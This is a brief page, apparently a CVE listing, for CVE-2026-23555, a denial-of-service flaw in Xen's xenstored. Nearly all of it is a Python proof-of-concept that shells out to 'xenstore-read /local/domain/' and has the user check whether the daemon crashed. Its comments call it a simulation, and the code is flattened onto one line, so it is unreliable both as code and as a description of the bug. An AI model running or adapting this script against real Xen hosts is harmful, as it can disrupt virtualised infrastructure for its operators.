CVE-2026-23555: Xen xenstored 路径访问导致拒绝服务漏洞

# PoC for CVE-2026-23555 # This script attempts to crash xenstored by accessing the illegal path. import subprocess import sys # Simulate sending a xenstore command to the illegal path # In a real scenario, this would use the xenstore library or direct socket communication # Command: xenstore-read /local/domain/ def trigger_vulnerability(): try: print("Attempting to access illegal path: /local/domain/") # This command attempts to read the restricted path result = subprocess.run(['xenstore-read', '/local/domain/'], capture_output=True, text=True) print("Command executed. Check xenstored status for crash or high CPU usage.") print("Stdout:", result.stdout) print("Stderr:", result.stderr) except FileNotFoundError: print("Error: 'xenstore-read' command not found. This PoC requires Xen tools installed.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": trigger_vulnerability()